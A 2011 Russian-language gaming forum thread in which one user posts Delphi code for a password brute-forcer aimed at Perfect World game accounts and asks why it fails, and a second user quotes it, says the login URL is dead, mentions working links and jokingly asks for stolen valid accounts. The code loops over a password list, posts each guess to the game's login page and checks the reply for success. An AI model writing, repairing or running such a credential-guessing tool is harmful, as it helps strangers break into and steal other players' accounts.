Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

Один косяк.

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 01.06.2011, 16:08   #1
 Разведчик
Аватар для D_R
 
D_R никому не известный тип
Регистрация: 10.05.2011
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Один косяк.

Привет всем!Решил написать простенький брут для PWI ,но вот проблема в чем, когда нажимаю брутить у меня все логины и пароли пишет не правильный,даже свои пробовал написать всё равно...у меня не получается написать p.Text:=IdHTTP1.Post('http://www.perfectworld.com/login.php', info); незнаю чем ловить эту ссылку и т.д

Вот кусочек кода от брута


procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
info:Tstringlist;
p:Tstringlist;
begin
info:=tstringlist.Create;
p:=tstringlist.Create;


for i:=0 to Memo1. Lines.Count-1 do

begin
info.Add('log='+Edit1.text);
info.add('pwd='+Memo1.Lines.Strings[i]);
p.Text:=IdHTTP1.Post('http://www.perfectworld.com/login.php', info);
if pos('logot', p.Text)>0 then
begin
Memo2.Lines.Add(Memo1.Lines.Strings[i]+'пароль верный');
break;
end
else
begin
Memo2.Lines.Add(Memo1.Lines.Strings[i]+'пароль НЕ верный');


Из за этого кода не получается брутить p.Text:=IdHTTP1.Post('http://www.perfectworld.com/login.php', info);

Может кто подскажет,объянит Буду очень благодарен.
  Ответить с цитированием
Старый 01.06.2011, 21:13   #2
 Рыцарь
Аватар для 4ipolino
 
4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса4ipolino троюродный дядя Чака Норриса
Регистрация: 19.02.2010
Сообщений: 340
Популярность: 9058
Сказал(а) спасибо: 301
Поблагодарили 696 раз(а) в 278 сообщениях
Отправить сообщение для 4ipolino с помощью ICQ Отправить сообщение для 4ipolino с помощью Telegram Отправить сообщение для 4ipolino с помощью Yahoo Отправить сообщение для 4ipolino с помощью Skype™
 
По умолчанию Re: Один косяк.

Цитата:
Сообщение от D_RПосмотреть сообщение
Привет всем!Решил написать простенький брут для PWI ,но вот проблема в чем, когда нажимаю брутить у меня все логины и пароли пишет не правильный,даже свои пробовал написать всё равно...у меня не получается написать p.Text:=IdHTTP1.Post('http://www.perfectworld.com/login.php', info); незнаю чем ловить эту ссылку и т.д

Вот кусочек кода от брута


procedure TForm1.Button1Click(Sender: TObject);
var
i:integer;
info:Tstringlist;
p:Tstringlist;
begin
info:=tstringlist.Create;
p:=tstringlist.Create;


for i:=0 to Memo1. Lines.Count-1 do

begin
info.Add('log='+Edit1.text);
info.add('pwd='+Memo1.Lines.Strings[i]);
p.Text:=IdHTTP1.Post('http://www.perfectworld.com/login.php', info);
if pos('logot', p.Text)>0 then
begin
Memo2.Lines.Add(Memo1.Lines.Strings[i]+'пароль верный');
break;
end
else
begin
Memo2.Lines.Add(Memo1.Lines.Strings[i]+'пароль НЕ верный');


Из за этого кода не получается брутить p.Text:=IdHTTP1.Post('http://www.perfectworld.com/login.php', info);

Может кто подскажет,объянит Буду очень благодарен.

может потому што у тебя по сылке
Код:
Ooops! 404 Error Page.

Sorry we cannot find the webpage you have requested.

Please check the URL again or return to our home page.

http://www.perfectworld.com

вот нормальная
[Ссылки могут видеть только зарегистрированные пользователи. ]
или
[Ссылки могут видеть только зарегистрированные пользователи. ]
п.с дай пару валидных акков (для теста), буду вместе с тобой учить дельфи =D

Последний раз редактировалось 4ipolino; 01.06.2011 в 21:22.
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Уязвимость] Косяк lineage-2.ru Soutch_park Баги и читы Lineage 2 2 02.06.2011 15:26
[Продам] Купи один акк по цене двух и получи еще один в подарок!!!!111 Corsar2232 Point Blank 3 08.06.2010 17:57

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 16:13.

Пишите нам: forum@zhyk.ru
Copyright © 2025 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net